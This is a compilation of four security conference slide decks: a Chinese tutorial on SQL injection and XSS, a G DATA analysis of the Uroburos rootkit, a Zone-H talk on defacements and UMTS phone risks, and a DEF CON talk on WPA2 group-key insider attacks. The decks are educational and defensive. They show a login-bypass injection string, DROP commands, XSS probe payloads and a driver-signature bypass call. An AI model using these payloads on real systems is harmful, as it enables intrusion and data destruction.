Software Identification
VEX
Vulnerability Exploitability eXchange | pdf |
NISRA
◎ 王薪嘉
◎ 現任 NISRA 會長
2
◎ 靜態
• 只能瀏覽資料 (純粹圖文)
• Html + CSS
◎ 動態
• 用戶端與伺服器可以互動
• Ex: 投票系統、檔案上傳、購物網站, etc
• PHP, JSP, ASP, etc
上傳
伺服器
顯示
user
user
user
程式
資料庫
php asp
上傳
上傳
伺服器
伺服器
顯示
輸入&產生
user
user
user
user
user
user
資料隱碼攻擊
◎ Structured Query Language,一般習慣唸成
"sequel",不過正確的唸法應該是 "S-Q-L"
◎ 是一種常見於資料庫的語言,用於資料存取、查詢、
更新和管理關聯式資料庫系統
◎ 同時也是資料庫指令檔的副檔名 (.sql)。
◎ SQL 的語法是由一些簡單的句子構成,簡單易學
7
◎ Database:按照資料結構來組織、存儲和管理資
料的倉庫。使用者可以對檔案中的資料執行新增、
更新、刪除、搜尋等操作。
資料1
資料2
資料3
資料4
Table1
Database
Table
Table4
Table2
……
……
◎ 發生於應用程式之資料庫層的安全漏洞。
◎ 在輸入的字串中夾帶 SQL指令,若程式沒有進行檢
查而使這些字串被誤認為是合法的 SQL指令並執行,
將會造成:
• 資料竊取
• 資料刪除
• etc
◎ 登入檢查:判定 User 輸入的帳號、密碼是否正確,
來確定登入是否成功。
10
使用者名稱
使用者密碼
Login
◎ 登入檢查:判定 User 輸入的帳號、密碼是否正確,
來確定登入是否成功。
◎ select * from members where account='$name'
and password='$password'
11
◎ 登入檢查:判定 User 輸入的帳號、密碼是否正確,
來確定登入是否成功。
◎ select * from members where account='$name'
and password='$password'
◎ 此時帳號輸入' or 1=1 /* ,密碼任意輸入
12
◎ select * from members
where account ='' or 1=1 /*' and password=''
13
◎ select * from members
where account ='' or 1=1 /*' and password=''
◎ /* 在 MySQL 語法中代表註解的意思。
所以「/*」後面的字串通通沒有執行,而這句判斷
式「1=1」永遠成立,就能藉此登入網站成功。
14
◎ select * from members
where account ='' or 1=1 /*' and password=''
◎ /* 在 MySQL 語法中代表註解的意思。
所以「/*」後面的字串通通沒有執行,而這句判斷
式「1=1」永遠成立,就能藉此登入網站成功。
◎ MySQL 的註解有三種:「/*」「--」 「#」
15
◎ DROP:SQL 語法中關於刪除的指令
◎ 假如使用者輸入的地方可以執行 DROP 指令,那
也許將會刪除:
表格 ->
DROP TABLE "表格名稱"
資料庫 -> DROP DATABASE "資料庫名稱"
16
◎ 過濾使用者的輸入:' " /
' or 1=1 /* or 1 = 1
17
◎ 過濾使用者的輸入:' " /
' or 1=1 /* or 1 = 1
◎ 加工使用者輸入的字串:把字串中的特殊字元前加
上 \ 再回傳
18
XSS - 跨網站指令碼
19
◎ 一種常見於 Web 應用程式中的電腦安全性漏洞。
◎ 在網頁中注入惡意程式,透過使用者在網路上擴散。
20
◎ Web 瀏覽器本身的設計不安全。
◎ XSS 觸發的門檻低且不受重視。
◎ Web 2.0 後網站上的交互功能日漸強大,我們將有
越來越多的機會可以查看、修改他人的資訊。
21
反射型 & 持久型
◎ 又稱 非持久型、參數型 XSS。
◎ 在使用者按下時觸發。
◎ 一般是透過特定手法(如:E-mail),
誘使 User 連結包含惡意程式的 URL。
◎ 常出現於網站的搜尋欄、使用登入介面
用來竊取 Cookie 或是釣魚欺騙。
23
Hacker
Web
網頁
瀏覽網頁
Hacker’s
Server
使用者資料
(Cookie)
惡意程式碼
24
E-mail
USER
◎ 又稱儲存型,可能會影響 Web 伺服器。
◎ 先將惡意腳本上傳或儲存在有漏洞的伺服器上,
只要受害者瀏覽到相關頁面就會執行惡意程式。
◎ 一般出現在網站的留言板、評論、部落格日記等。
可以用來滲透網站、木馬、釣魚、編寫 XSS 蠕蟲。
25
Server
Hacker
Web
留言板
惡意程式碼
瀏覽
攻擊/
執行惡意程式
USER
◎ 尋找 可以顯示使用者輸入文字的地方
◎ 測試 是否可以執行 腳本語言 (Ex: Javascript)
◎ 植入 惡意程式
27
28
◎ JavaScript 讓瀏覽器彈出訊息小框框的內置函數。
29
◎ 不一定要放 alert(1)
• prompt(1)
• <meta http-equiv="refresh" content="0;">
• <iframe src=http://www.text.com
width=0 height=0></iframe>
30
◎ 國外著名安全工程師 Rsnake 研究 XSS 的心得。
◎ 常見的 XSS 攻擊腳本列表,用來檢測 Web 是否存
在 XSS 漏洞。
◎ ha.ckers.org/xss.html
現今最完整的 XSS 測試用範例。
◎ http://www.xenuser.org/xss-cheat-sheet/ 簡易版
31
◎ 將腳本語言加到 Web 頁面的過程非常簡單:
只要加入<script></script> 標籤即可。
◎ 瀏覽器只負責解釋和執行腳本語言,
不會判斷程式碼惡意與否。
32
◎ XSS 不如 SQL Injection、檔案上傳等
能夠直接得到較高權限的操作。
◎ 但是它的運用十分靈活。
◎ 例如:
• 2005/10 Myspace跨腳本網站蠕蟲
33
◎ 世界上第一隻網路蠕蟲
◎ 網路社群 MySpace
◎ 20 小時內感染 “一百多萬個” 使用者,最後
MySpace 伺服器崩潰。
34
◎ 19歲的 Samy 和女友打賭他可以在 Myspace 上擁
有眾多粉絲。
◎ 當然……辦不到!
◎ 研究 Myspace 發現 個人簡介 處存在 XSS 漏洞。
◎ 注入一段 JS 蠕蟲,每個查看他簡介的人在不知不
覺中自動執行這段程式碼。
◎ 蠕蟲打開受害者的個人簡介,自我複製在受害者的
個人簡介。
◎ 瘋狂散播直到伺服器崩潰。
35
發現網站的 XSS 漏洞,編寫 XSS Worm
利用漏洞作為傳播源頭進行 XSS
其他使用者連結目標,可能感染蠕蟲
alter()
或其他操作
判斷使用者
是否登入
判斷使用者
是否感染
是
是
否
否
◎ XSS 和 SQL Injection 一樣,都是利用 Web 編寫
不完善來攻擊。
◎ 因此每一個漏洞該利用和針對的弱點都不盡相同。
◎ 這給 XSS 防禦帶來了困難:
不可能以單一特徵來概括所有 XSS 攻擊。
37
38
input
Web Server
XSS
Filter
XSS
Escape
Web
Page
◎ 把要處理的資料分做黑、白名單兩大列表:
白名單存放可信賴的、無威脅的資料;
黑名單則相反。
◎ 其實就是一段精心編寫的過濾函式。
◎ 還是很容易被繞過 OTZ
39
◎
驗證:設定格式、數字範圍、字數限制等
◎
數據消毒:過濾一些敏感字元:< > ' " & #
◎
Javascript Expression:
顯示
實體名字
實體編號
<
<
<:
>
>
>:
&
&
&
"
"
"
40
◎ 別亂點陌生人給的連結
◎ 禁用 JavaScript
• 網頁會變得難用
41 | pdf |
Consumer
Automotive
Technology
Retail
Life Sciences & Healthcare
Energy & Chemicals
Uroburos
Paul Rascagneres
Senior Threat Researcher
GDATA SecurityLabs
Page
Uroburos | HITCON | August 2014
Uroburos is a rookit revealed to the public by G DATA in February 2014. The purpose of the
rootkit is to maintain remote access to the infected machine and steal sensitive data.
Here are the features of this rootkit:
- use of function hooking, to hide its activities
- Deep Packet Inspection (DPI), to monitor the network
- bypass kernel protection, to load and execute the driver
- use of virtual file system, to store configuration and data
- …
2
Uroburos rootkit
Page
Uroburos | HITCON | August 2014
Uroburos’ name
Uroburos is a direct reference to the Greek word Ouroboros (Οὐροβόρος). The Ouroboros is
an ancient symbol depicting a serpent or dragon eating its own tail.
3
Uroburos rootkit
Page
Uroburos | HITCON | August 2014
Rootkit composition
The rootkit is composed of two files:
- .sys file (the Microsoft Windows driver 32/64 bits)
- .dat file (the encrypted virtual file system)
4
Uroburos rootkit
Page
Uroburos | HITCON | August 2014
The driver
The loaded driver:
5
Uroburos rootkit
Page
Uroburos | HITCON | August 2014
The driver
The loaded driver:
6
Uroburos rootkit
Page
Uroburos | HITCON | August 2014
The driver
The loaded driver:
7
Uroburos rootkit
Page
Uroburos | HITCON | August 2014
Hooking
To hide its activity and its presence, the driver sets several hooks by modifying the
beginning of the function with an interrupt (0x3C):
kd> ? IoCreateDevice
Evaluate expression: -2103684120 = 829c53e8
kd> u 829c53e8
nt!IoCreateDevice:
829c53e8 6a01 push 1
829c53ea cdc3 int 0C3h
829c53ec ec in al,dx
829c53ed 83e4f8 and esp,0FFFFFFF8h
829c53f0 81ec94000000 sub esp,94h
829c53f6 a14cda9282 mov eax,dword ptr [nt!__security_cookie (8292da4c)]
829c53fb 33c4 xor eax,esp
829c53fd 89842490000000 mov dword ptr [esp+90h],eax
8
Uroburos rootkit
Page
Uroburos | HITCON | August 2014
Hooking
The Interrupt Descriptor Table (idt):
kd> !idt
Dumping IDT: 80b95400
3194895000000030:
82c27ca4 hal!Halp8254ClockInterrupt (KINTERRUPT …)
3194895000000031:
8486b058 i8042prt!I8042KeyboardInterruptService (KINTERRUPT
3194895000000038:
82c18c6c hal!HalpRtcProfileInterrupt (KINTERRUPT …)
3194895000000039:
8486bcd8 ACPI!ACPIInterruptServiceRoutine (KINTERRUPT …)
319489500000003a:
85afd7d8 ndis!ndisMiniportIsr (KINTERRUPT 85afd780)
319489500000003b:
8486b558 ataport!IdePortInterrupt (KINTERRUPT 8486b500)
319489500000003c:
85afdcd8 i8042prt!I8042MouseInterruptService (KINTERRUPT…)
319489500000003e:
8486ba58 ataport!IdePortInterrupt (KINTERRUPT 8486ba00)
319489500000003f:
8486b7d8 ataport!IdePortInterrupt (KINTERRUPT 8486b780)
31948950000000c3:
859e84f0
9
Uroburos rootkit
Page
Uroburos | HITCON | August 2014
Hooking
Code available at 0x859e84f0:
10
Uroburos rootkit
Page
Uroburos | HITCON | August 2014
Hooking
Python script to list the hooks:
11
Uroburos rootkit
Page
Uroburos | HITCON | August 2014
Hooking
The list of the ntoskrnl.exe hooked functions (the hooked feature):
nt!NtCreateKey
(registry)
nt!NtQueryInformationProcess (process)
nt!NtQuerySystemInformation (system information)
nt!ObOpenObjectByName
(driver)
nt!NtClose
(file/process/event/…)
nt!IoCreateDevice
(driver)
nt!NtEnumerateKey
(registry)
nt!NtShutdownSystem
(system)
nt!NtTerminateProcess
(process)
nt!IofCallDriver
(driver)
nt!NtQueryKey
(registry)
nt!NtCreateUserProcess
(process)
nt!NtCreateThread
(process)
nt!NtSaveKey
(registry)
nt!NtReadFile
(file system)
12
Uroburos rootkit
Page
Uroburos | HITCON | August 2014
Windows Filtering Platform (WFP)
The WFP is a set of API and system services which provides a platform for creating network
filtering applications. In our case, the rootkit uses this technology to perform Deep Packet
Inspection (DPI) and modifications of the network flow. The purpose of this device is to
intercept relevant data as soon as a connection to the Command & Control server or other
local infected machines used as relay is established and to receive commands.
13
Uroburos rootkit
Page
Uroburos | HITCON | August 2014
Windows Filtering Platform (WFP)
14
Uroburos rootkit
Page
Uroburos | HITCON | August 2014
Windows Filtering Platform (WFP)
The filter parses HTTP and SMTP traffic (other protocols can easily be supported).
To identify the Uroburos traffic, the rootkit decrypts the network flow and looks for data
starting with:
- 0xDEADBEEF
- 0xC001BA5E
The intercepted data is forwarded to the user land by using named pipe.
15
Uroburos rootkit
Page
Uroburos | HITCON | August 2014
Virtual file systems
Uroburos uses two virtual file systems: FAT32 & NTFS. During our analysis, the first one
was never used (maybe a legacy mode). The second one is the decrypted .dat file (CAST-
128 encryption).
The volume can be accessed by: \\.\Hd1\
The file system contains a queue file, log files, additional tools (reconnaissance tools)…
16
Uroburos rootkit
Page
Uroburos | HITCON | August 2014
Virtual file systems
17
Uroburos rootkit
Page
Uroburos | HITCON | August 2014
Virtual file systems
18
Uroburos rootkit
Page
Uroburos | HITCON | August 2014
Virtual file systems
19
Uroburos rootkit
Page
Uroburos | HITCON | August 2014
Queue file
On the virtual file system we have a particularly interesting file: \\.\Hd1\queue
This file contains the rootkit configuration, encryption key, addition dll, ex-filtrated data…
These dll are injected in user land by the rootkit (for example in the browsers to steal
sensitive information).
20
Uroburos rootkit
Page
Uroburos | HITCON | August 2014
User land injected libraries
The injected libraries are used to communicate to the Command & Control servers, steal
information… These file are used to create a kind of “proxy” between the kernel land and the
user land. The libraries are: inj_snake_Win32.dll and inj_services_Win32.dll.
From the user land point of view, the protocol used for the C&C communication can be:
- HTTP
- SMTP
- ICMP
- …
21
Uroburos rootkit
Page
Uroburos | HITCON | August 2014
Bypass of the kernel protection
The first bypassed protection is the Kernel Patch Protection (aka PatchGuard).
This protection checks the integrity of the Windows kernel to make sure that no critical parts
are modified. If a modification is detected, the KeBugCheckEx() (with the code 0x109
CRITICAL_STRUCTURE_CORRUPTION) is executed and the system is shutdown with a blue
screen.
The rootkit bypasses this protection, the rootkit hooks the KeBugCheckEx() function to
avoid handling the code 0x109.
22
Uroburos rootkit
Page
Uroburos | HITCON | August 2014
Bypass of the kernel protection
The second bypassed protection is the Driver Signature Enforcement.
To avoid loading malicious drivers, Microsoft created this technology for its 64-bit versions of
Windows Vista and later versions. To load a driver, the .sys file must be signed by a
legitimate publisher. The flag to identify whether the protection is enable or not is
g_CiEnabled .
The rootkit’s driver is not signed but it still loaded.
23
Uroburos rootkit
Page
Uroburos | HITCON | August 2014
Bypass of the kernel protection
To bypass the Signature Driver Enforcement, the attackers use a legitimate, signed driver
(in our case VirtualBox driver) and exploit a vulnerability to switch
arbitrary memory address to 0. In our case, the address of the flag
g_CiEnabled to switch off the protection. The used CVE is
CVE-2008-3431. The VirtualBox driver is presently expired.
Before: kd> dq nt!g_cienabled -> fffff800`02e45eb8 00000001
After: kd> dq nt!g_cienabled -> fffff800`02e45eb8 00000000
24
Uroburos rootkit
Page
Uroburos | HITCON | August 2014
Bypass of the kernel protection
The Signature Driver Enforcement bypass step by step:
- the malware opens the VBoxDrv symbolic link;
- it loads ntoskrnl.exe;
- it locates g_CiEnabled;
- it uses DeviceIoControl() to switch arbitrary address to 0
For example:
DeviceIoControl(VBoxDrv, SUP_IOCTL_FAST_DO_NOP, g_CiEnabledAddr, 0, g_CiEnabledAddr, 0, &cb, NULL)
25
Uroburos rootkit
Page
Uroburos | HITCON | August 2014
Bypass of the kernel protection
The VirtualBox driver is presently expired.
What about the signature’s revocation of legacy software or vulnerable software?
26
Uroburos rootkit
Page
Uroburos | HITCON | August 2014
Other exploits
In the dropper, we can find several resources sections. These resources contain exploits to
obtain administrator privileges (to be able to install and load the driver).
For example MS09-025 or MS10-015.
27
Uroburos rootkit
Page
Uroburos | HITCON | August 2014
Command & Controls
The attackers seem to use two kinds of C&C:
- dedicated servers
- legitimate compromised web sites (water holing) (TYPO3 CMS)
Thanks to the use of the WFP mechanism, we can imagine infected machines without any
C&C hardcoded in the malware. The filter simply waits for the network pattern. The fact that
the malware uses local, infected systems as relay adds complexity, too.
For incident response point of view, the identification and containment can become a
nightmare…
28
Uroburos rootkit
Page
Uroburos | HITCON | August 2014
Command & Controls
Source: Kaspersky
29
Uroburos rootkit
Page
Uroburos | HITCON | August 2014
Infection vectors
•Spear phishing e-mails with Adobe PDF exploits (CVE-2013-3346 + CVE-2013-5065)
•Social engineering to trick the user into running malware installers with ".SCR" extension,
sometimes packed with RAR
•Watering hole attacks using Java exploits (CVE-2012-1723), Flash exploits (unknown) or
Internet Explorer 6,7,8 exploits (unknown)
•Watering hole attacks that rely on social engineering to trick the user into running fake
"Flash Player" malware installers
Source: Kaspersky
30
Uroburos rootkit
Page
Uroburos | HITCON | August 2014
Targets
In February 2014, we mentioned in our report: “Due to the complexity of the Uroburos
rootkit, we estimate that it was designed to target government institutions, research
institutions or companies dealing with sensitive information as well as similar high-profile
targets.“
31
Uroburos rootkit
Page
Uroburos | HITCON | August 2014
Targets
In May 2014:
32
Uroburos rootkit
Page
Uroburos | HITCON | August 2014
Targets
In August 2014:
Government (Ministry of interior (EU country), Ministry of trade and commerce (EU country),
Ministry of foreign/external affairs (Asian country, EU country), Intelligence (Middle East, EU
Country)), Embassies, Military (EU country)
Education
Research (Middle East)
Pharmaceutical companies
Source: Kaspersky
33
Uroburos rootkit
Page
Uroburos | HITCON | August 2014
Attribution
During our analysis we found some technical links connecting Uroburos to Agent.Btz:
-
Encryption key
-
Usage of the same file name
-
Check whether Agent.Btz is installed on the system
-
Use of Russian language and user names (vlad, gilg, urik…)
34
Uroburos rootkit
Page
Uroburos | HITCON | August 2014
Attribution
In an article published by Reuters, in 2011, the journalist mentioned that “U.S. government
strongly suspects that the original attack was crafted by Russian Intelligence.”
With the last elements presented by Belgian journalists, concerning the attack against the
Ministry of Foreign Affairs, the Russian roots are further confirmed.
35
Uroburos rootkit
Page
Uroburos | HITCON | August 2014
Thank you for your attention!
Questions?
36
Uroburos rootkit | pdf |
The future frontier of Hacking - UMTS mobile phone platform
Web intrusions: the best indicator of the vulnerable status of the Internet
Speaker: SyS64738 www.zone-h.org
Zone-H.org
Zone-H.org
Zone-H.org: the Internet thermometer?
Zone-H.org
SECURE
HACKABLE
F#CKABLE
Digital attacks amount since 2002
1600
1811 2341
3652
3907
3468
4175
5279
9884
14575
12739
16393 16724 15638
16924 17329
25273
0
5000
10000
15000
20000
25000
30000
2002-
01
2002-
02
2002-
03
2002-
04
2002-
05
2002-
06
2002-
07
2002-
08
2002-
09
2002-
10
2002-
11
2002-
12
2003-
01
2003-
02
2003-
03
2003-
04
2003-
05
Date
Digital attacks amount
Zone-H.org
attacks techniques and tools
Zone-H.org
2003 top used vulnerabilities by attackers
-Webdav
- Samba
-Frontpage extensions
- Php nuke
-Openssl
Zone-H.org
Defacement reasons
0
2000
4000
6000
8000
10000
12000
2002-
07
2002-
08
2002-
09
2002-
10
2002-
11
2002-
12
2003-
01
2003-
02
2003-
03
2003-
04
2003-
05
For fun
Revenge
Political
Challenge
Wannabe
Patriotism
Zone-H.org
Defacements by OS
0
5000
10000
15000
20000
25000
2002-01
2002-02
2002-03
2002-04
2002-05
2002-06
2002-07
2002-08
2002-09
2002-10
2002-11
2002-12
2003-01
2003-02
2003-03
2003-04
2003-05
Win98/NT
Win2K
WinXP/.NET/2003
Linux
BSD family
Solaris family
Zone-H.org
Defacements by OS (single IP)
0
1000
2000
3000
4000
5000
6000
7000
2002-01
2002-02
2002-03
2002-04
2002-05
2002-06
2002-07
2002-08
2002-09
2002-10
2002-11
2002-12
2003-01
2003-02
2003-03
2003-04
2003-05
Win98/NT
Win2K
Linux
BSD family
Solaris family
CYBERFIGHTS
Kashmir related
Iraq war related
Code red release related
Palestine-Israel related
No-Global related
Zone-H.org
CYBERFIGHTS
Kashmir related
Iraq war related
Code red release related
Palestine-Israel related
No-Global related
Zone-H.org
CYBERFIGHTS
Kashmir related
Iraq war related
Code red release related
Palestine-Israel related
No-Global related
Zone-H.org
CYBERFIGHTS
Kashmir related
Iraq war related
Code red release related
Palestine-Israel related
No-Global related
Zone-H.org
CYBERFIGHTS
Kashmir related
Iraq war related
Code red release related
Palestine-Israel related
No-Global related
Zone-H.org
CYBERFIGHTS
Kashmir related
Iraq war related
Code red release related
Palestine-Israel related
No-Global related
Zone-H.org
CYBER-CRIMES ARE CONVENIENT BECAUSE:
• Lack of IT laws
• Lack of L.E. international cooperation
• ISPs are non-transparent
CYBER-PROTESTS ARE CONVENIENT BECAUSE:
• General lack of security
• No need to protest on streets
• No direct confrontation with L.E.
Zone-H.org
CYBER-CRIMES WILL NEVER STOP BECAUSE:
• Inherent slowness of the Institutions
• The Internet is getting more complicated
• Software producers are facing a market challenge
Zone-H.org
UMTS
Traditional
hacker’s
limited
world
Our every day's
life activities
Universal
Mobile
Telecommunication
System
UMTS vs Wi-Fi (P.A.P.) why not?
• 80.000.000.000 USD paid for UMTS
licenses and tight development plans will
force Telecoms to spread the UMTS service
as fast as possible offering connectivity at a
very convenient price.
Zone-H.org
The UMTS 3G platform
• Videoconference
• Full multi-media platform
• Data bank
• Office files
• Mobile computing
• Web browsing
Zone-H.org
NO LIMITS: they will do whatever
a PC currently does as they will be
powered by Windows, Linux and
other commercial OSs
+
+
+
Zone-H.org
+
+
+
=
Zone-H.org
The conceptual weaknesses in UMTS
•Weakly built operative system
•Memory stacked application and data
Win pocket PC running memory stack
low
high
prg 1 prg 2 prg 3 prg 4 prg 5 etc…
Win pocket PC storing memory stack
1 2 3 4 …
How UMTS works
Zone-H.org
USIM
Wireless node
Radio network controller
ATM
network
128bit Key
128bit Key
Mobile
switching
center
Visiting
location
register
Encrypted area
Telephone
network
How UMTS works
Zone-H.org
USIM
Wireless node
Radio network controller
ATM
network
128bit Key
128bit Key
Mobile
switching
center
Visiting
location
register
Encrypted area
Telephone
network
http://lasecwww.epfl.ch/newtechnologies/slides8.pdf
How crackers will exploit UMTS
• Using OS security flaws
• Through open ports
• Virus (mail, downloaded prgs)
• Trojan (mail, downloaded prgs)
• Using components flaws (media player
browser, active sync etc.)
• Webserver flaws
• Exploiting application
level
Zone-H.org
DIRECT DAMAGES
• Loss of precious information
• Denial of service (received)
• Denial of service (attack), $$$ loss
• Espionage (loss of documents)
• Eavesdropping (audio and video)
• Unauthorized online shopping
• Bank account unauthorized access
Zone-H.org
Zone-H.org
Zone-H.org
Zone-H.org
Zone-H.org
Zone-H.org
Zone-H.org
Zone-H.org
ZH2003-5SA
windows beta
webserver for pocket
pc: full remote access
The default installation of
windows beta webserver allows
an attacker to gain full remote
access without authentication
simply logging to
http://attacked_host/admin
Privacy threat
• Cyber-stalking (GPS)
• Cyber-stalking (last node ID)
• Direct targeting . The wideband nature of the
UTRA/FDD facilitates the high resolution in
position location. The duration of one chip
(3.84Mcps) correspond to approximately 78
meters in propagation distance. If the delay
estimation operates on the accuracy of
samples/chip then the achievable maximum
accuracy is approximately 20 meters.
Zone-H.org
What a UMTS hacker should study: links
• http://www.tutorgig.com/searchtgig.jsp?query=um
ts (several tutorials)
• http://www.ericsson.de/downloads/pressenews/pra
esentation_cornelius_boylan.pdf
• http://lasecwww.epfl.ch/newtechnologies/slides8.p
df (excellent paper)
• http://www.sans.org/rr/paper.php?id=253
• http://www.pocketpcdn.com/
• http://www.itsx.com/pocketpc/BH-AMS-2003-
itsx.ppt
• http://www.3gpp.org/specs/titles-numbers.htm (all
3G specs and current releases)
Zone-H.org
Home automation
H.A.S. WORLD
UMTS WORLD
(EIBA, X10)
The Internet refrigerator
The fridge’s built-in PC is a low-spec affair based on a 300MHz National
Semiconductor Geode processor, 128MB of RAM and a 17GB hard disk.
The Internet refrigerator
The fridge’s built-in PC is a low-spec affair based on a 300MHz National
Semiconductor Geode processor, 128MB of RAM and a 17GB hard disk.
It runs a modified version of Windows 98
The Internet refrigerator
The fridge’s built-in PC is a low-spec affair based on a 300MHz National
Semiconductor Geode processor, 128MB of RAM and a 17GB hard disk.
It runs a modified version of Windows 98
Ping –l 65535 xxx.xxx.xxx.xxx
The Internet oven
HONEY, OUR THANKSGIVING TURKEY HAS
BEEN BURNED BY A PAKISTANI
CYBERFIGHTER IN RETALIATION OF THE
KASHMIR TERRITORY OCCUPATION …
Are we now scared about
the implementation of
these new technologies?
What system will be invented to let us
feel secure and keep our privacy safe?
Is there anyone who can help me to get
rid of these techno-nightmares?
Zone-H.org
Call 1-800-AMISH !!!
SyS64738 Zone-H.org [email protected] | pdf |
WPA TOO !
Md Sohail Ahmad
AirTight Networks
www.airtightnetworks.com
About the Speaker
2007, Toorcon9
2009, Defcon 17
2008, Defcon 16
Caffe Latte Attack
Autoimmunity
Disorder in
Wireless LANs
WiFish Finder: Who
will bite the bait?
2010, Defcon 18
WPA TOO !
Defcon 18
WPA2 is vulnerable under certain conditions. This
limitation, though known to the designers of WPA2, is not
well understood or appreciated by WiFi users.
In this talk, I am going to show that exploits are possible
using off the shelf tools with minor modifications.
About the Talk
Background
WEP, the one and only security configuration present in the original 802.11
standard, was cracked in 2001. Since then several attacks on WEP have been
published and demonstrated
Nowadays most WLANs are secured with a much better and robust security
protocol called WPA2.
Interestingly, WPA2 is also being used to
secure Guest WiFi, Municipal WiFi (e.g.
GoogleWiFi Secure) and Public WiFi (e.g. T-
Mobile or AT&T WiFi Hotspot) networks.
Defcon 18
Is WPA2 safe to be used in WiFi networks?
Defcon 18
2003
PSK
Vulnerability
2004
PSK cracking
tool,
Eavesdropping
2008
TKIP
Vulnerability
PEAP
Mis-config
Vulnerability
Known attacks on WPA/WPA2
Attack on Pre-Shared Key (PSK)
Authentication
Attack on 802.1x
Authentication
Attack on
Encryption
Implications:
Eavesdropping
Unauthorized Access
to the network
Implications:
Client compromise
Implications:
Injection of small size
frames to create
disruption
Defcon 18
1. Do not use PSK authentication in other than private/home network
(Solves PSK Vulnerability)
2. Do not ignore certificate validation check in client’s configuration
(Solves Client Vulnerability)
3. Use AES encryption
(Solves TKIP Vulnerability)
Solution
Is WPA2 safe to be used in WiFi networks?
Defcon 18
Encryption in WPA2
Defcon 18
Encryption Keys
Two types of key for data encryption
1. 1. Pairwise Key (PTK)
2. 2. Group Key (GTK)
While PTK is used to protect unicast data
frames , GTK is used to protect group
addressed data frames e.g. broadcast ARP
request frames.
Defcon 18
GTK is shared among all associated clients
Client 1
Client 1 PTK = PTK1
Client 1 Group key = K1
Client 2
Client 2 PTK = PTK2
Client 2 Group key = K1
Client 3
Client 3 PTK = PTK3
Client 3 Group key = K1
Three connected clients
New client
Your Group key is K1
Defcon 18
Group addressed traffic in a WLAN
Group addressed 802.11 data frames are always sent by an access
point and never sent by a WiFi client
GTK is designed to be used as an encryption key in the AP and as a
decryption key in the client
ToDS “Broadcast ARP Req”
frame
Address 1 (or Destination
MAC) = AP/BSSID MAC
From DS “Broadcast ARP Req”
frame
Address 1 (or Destination MAC) =
FF:FF:FF:FF:FF:FF
Defcon 18
What if a client starts using GTK for group
addressed frame encryption?
Defcon 18
Is it possible for a client to send forged group
addressed data frames?
From DS “Broadcast ARP Req.”
frame
Actually injected by a client
Address 1 (or Destination MAC) =
FF:FF:FF:FF:FF:FF
Defcon 18
Console log of a WiFi user’s machine
Parameters (GTK, KeyID and PN) required to send group addressed data frame is
known to all connected clients.
A malicious user can always create fake packets
Defcon 18
WPA2 secured WiFi networks are vulnerable…
Malicious insider can inject forged
group addressed data traffic
Legitimate clients can never detect
data forgery
…to Insider Attack
Client
Malicious Insider
Defcon 18
Implications
Stealth mode ARP Poisoning/Spoofing attack
Traffic snooping
Man in the Middle (MiM): How about “Aurora” ?
IP layer DoS attack
IP level targeted attack
TCP reset, TCP indirection, Port scanning, malware injection, privilege
escalation etc. etc.
Wireless DoS attack
Blocks downlink broadcast data frame reception
Defcon 18
Stealth mode ARP Poisoning
1.
Attacker injects fake ARP packet to
poison client’s cache for gateway.
The ARP cache of victim gets
poisoned. For victim client Gateway
is attacker’s machine.
2.
Victim sends all traffic to attacker
3.
Now attacker can either drop traffic
or forward it to actual gateway
1
2
Target
Attacker
3
I am the Gateway
Wired LAN
Defcon 18
ARP Poisoning Attack: Normal vs Stealth Mode
Target
Attacker
I am the
Gateway
Wired LAN
Target
Attacker
Wired LAN
Normal
Stealth Mode
ARP poisoning frames appear on wire
through AP. Chances of being caught is
high.
ARP poisoning frames invisible to AP,
never go on wire. Can’t be detected by
any ARP cache poison detection tool.
Defcon 18
IP Level Targeted Attack
Defcon 18
PN or Packet Number in CCMP Header
48 bit Packet Number (PN) is present in all CCMP encrypted DATA frames
Legitimate client
Access Point
Replay Attack Detection in WPA2
PN=701
1.
All clients learn the PN associated with a
GTK at the time of association
2.
AP sends a group addressed data frame to
all clients with a new PN
3.
If new PN > locally cached PN than packet
is decrypted and after successful
decryption, old PN is updated with new PN
Expecting
PN >700
Defcon 18
Wireless DoS Attack (WDoS)
Defcon 18
Demo: Stealth mode attack
A live demo of the exploit will be done
during presentation
Defcon 18
Prevention & Countermeasures
Defcon 18
Endpoint Security
Client software such as DecaffeintID or Snort can be used to
detect ARP cache poisoning.
Detects ARP Cache Poisoning attack
Defcon 18
Limitations
Smartphones
Varieties of client device which connect to WPA2 secured WiFi
networks while software is available only for either Windows or
Linux running devices
Operating Systems
Hardware
Defcon 18
Infrastructure Side
Public Secure Packet Forwarding (PSPF)/peer-to-peer (P2P) or
Client Isolation
Client A
Client B
X
AP does not
forward A’s
packet to B
The feature can be used to stop communication between two
WiFi enabled client devices
Defcon 18
Limitations
Not all standalone mode APs or WLAN controllers have built-in
PSPF or client isolation capabilities
PSPF or Client Isolation does not always work
- It does not work across APs in standalone mode
- In controller based architecture, PSPF (peer2peer) does not
work across controllers even the controllers are present in
the same mobility group
Attacker can always use WiFi client to launch attack and setup a
non-WiFi host to serve the victim and easily bypass PSPF/Client
isolation
Defcon 18
Long Term Solution: Protocol Enhancement
Deprecate use of GTK and group addressed data traffic from AP
1.
Convert all group addressed data traffic into unicast traffic
2.
For backward compatibility AP should send randomly generated
different GTKs to different clients so that all associated clients have
different copies of group key
Disadvantages:
a. Brings down total network throughput
b. Requires AP software upgrade
Defcon 18
Key Take Away
WPA2 – secure, but vulnerable to insider attack!
This limitation known to WPA2 designers, but not well
understood by WiFi users
Countermeasures can be deployed wherever threat of insider
attacks is high
Using endpoint security; or
Using wireless traffic monitoring using WIPS sensors
Defcon 18
Thank You!
Md Sohail Ahmad
Email: [email protected]
www.airtightnetworks.com
For up-to-date information on developments in wireless
security, visit
blog.airtightnetworks.com
Defcon 18
References
[1] Task Group I, IEEE P802.11i Draft 10.0. Project IEEE 802.11i, 2004.
[2] Aircrack-ng
www.aircrack-ng.org
[3] PEAP: Pwned Extensible Authentication Protocol
http://www.willhackforsushi.com/presentations/PEAP_Shmoocon2008_Wright_Antoniewicz.pdf
[4]. WPA/WPA2 TKIP Exploit: Tip of the Iceberg?
www.cwnp.com/pdf/TKIPExploit08.pdf
[5]. Cisco’s PSPF or P2P
http://www.cisco.com/en/US/products/hw/wireless/ps430/products_qanda_item09186a00806a4da
3.shtml
[6] Client isolation
http://www.cisecurity.org/tools2/wireless/CIS_Wireless_Addendum_Linksys.pdf
[7]. The Madwifi Project
http://madwifi-project.org/
Defcon 18
References
[8]. Host AP Driver
http://hostap.epitest.fi/
[9]. ARP Cache Poisoning
http://www.grc.com/nat/arp.htm
[10] Detecting Wireless LAN MAC Address Spoofing
